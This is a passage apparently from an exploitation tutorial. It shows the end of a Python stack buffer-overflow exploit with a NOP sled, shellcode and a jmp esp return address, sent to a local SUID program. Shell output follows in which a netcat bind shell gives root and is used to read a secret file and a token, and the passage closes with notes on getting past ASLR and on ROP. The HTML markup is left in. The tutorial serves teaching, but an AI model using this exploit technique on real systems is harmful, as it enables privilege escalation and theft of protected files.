span class="code-line"/span
span class="code-line"span class="n"payload/span span class="o"+=/span span class="s2"quot;/spanspan class="se"\x90/spanspan class="s2"quot;/span span class="o"*/span span class="mi"20/span span class="c1"# nop sled/span/span
span class="code-line"/span
span class="code-line"span class="n"payload/span span class="o"+=/span span class="n"shellcode/span span class="c1"# append our shellcode/span/span
span class="code-line"/span
span class="code-line"span class="c1"# create the tcp socket/span/span
span class="code-line"span class="n"s/span span class="o"=/span span class="n"socket/spanspan class="o"./spanspan class="n"socket/spanspan class="p"(/spanspan class="n"socket/spanspan class="o"./spanspan class="n"AF_INET/spanspan class="p",/span span class="n"socket/spanspan class="o"./spanspan class="n"SOCK_STREAM/spanspan class="p")/span/span
span class="code-line"/span
span class="code-line"span class="c1"# connect to 127.0.0.1 port 9999/span/span
span class="code-line"span class="n"s/spanspan class="o"./spanspan class="n"connect/spanspan class="p"((/spanspan class="s2"quot;127.0.0.1quot;/spanspan class="p",/span span class="mi"9999/spanspan class="p"))/span/span
span class="code-line"/span
span class="code-line"span class="c1"# send our payload/span/span
span class="code-line"span class="n"s/spanspan class="o"./spanspan class="n"send/spanspan class="p"(/spanspan class="n"payload/spanspan class="p")/span/span
span class="code-line"/span
span class="code-line"span class="c1"# close the socket/span/span
span class="code-line"span class="n"s/spanspan class="o"./spanspan class="n"close/spanspan class="p"()/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe only changes here are, before we overwrite the return address we only send codeA/code's (532 of them, 528 for the local variables and 4 for the saved EBP), then we put our return address (the address of codejmp esp/code strong08048cd0/strong) and lastly we stick our a href="https://en.wikipedia.org/wiki/NOP_slide" target="_blank"NOP sled/a and shellcode (the NOP sled isn't actually needed though as we know ESP will point to the start of our code)./p
pWe can now exploit the application, first run the app again:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /span./app-net/span
span class="code-line"/code/pre/div
/td/tr/table
pNow launch the exploit and connect to our shell:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanpython app-net-exploit2.py /span
span class="code-line"span class="gp"
[email protected]:~$ /spannc span class="m"127/span.0.0.1 span class="m"9998/span/span
span class="code-line"span class="go"pwd/span/span
span class="code-line"span class="go"/home/appuser/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"span class="go"ls -l/span/span
span class="code-line"span class="go"total 32/span/span
span class="code-line"span class="go"-rwsr-xr-x 1 root root 8431 Jul 7 22:01 app-net/span/span
span class="code-line"span class="go"-rwxr-xr-x 1 appuser appuser 486 Jul 8 11:16 jesp/span/span
span class="code-line"span class="go"-rw-r--r-- 1 appuser appuser 32 Jul 8 11:08 jesp.nasm/span/span
span class="code-line"span class="go"-rw-r--r-- 1 appuser appuser 432 Jul 8 11:16 jesp.o/span/span
span class="code-line"span class="go"-rw------- 1 root root 93 Jul 7 22:02 secret.txt/span/span
span class="code-line"span class="go"-rw------- 1 root root 29 Jul 7 22:03 token/span/span
span class="code-line"span class="go"cat token/span/span
span class="code-line"span class="go"084934-3492048234728-4847847/span/span
span class="code-line"span class="go"cat secret.txt/span/span
span class="code-line"span class="go"This is a top secret file!/span/span
span class="code-line"span class="go"Only people with the password should be able to view this file!/span/span
span class="code-line"/code/pre/div
/td/tr/table
pPWNED!! :-)/p
h2Conclusion/h2
pWhile ASLR makes it more difficult to exploit a vulnerability, it doesn't make it impossible. You do, however, need to understand how the stack works more than if ASLR is disabled./p
pAlso, if you need to use instructions from inside the application code, you aren't restricted to the normal instructions executed by the application at runtime. You can jump into the middle of an instruction to create an entirely new instruction to run./p
pThis idea of using bits of instructions (or gadgets) is the beginning of a href="https://en.wikipedia.org/wiki/Return-oriented_programming" target="_blank"return-oriented programming ROP/a, which we will use more extensively later./p
pHappy Hacking :-)/p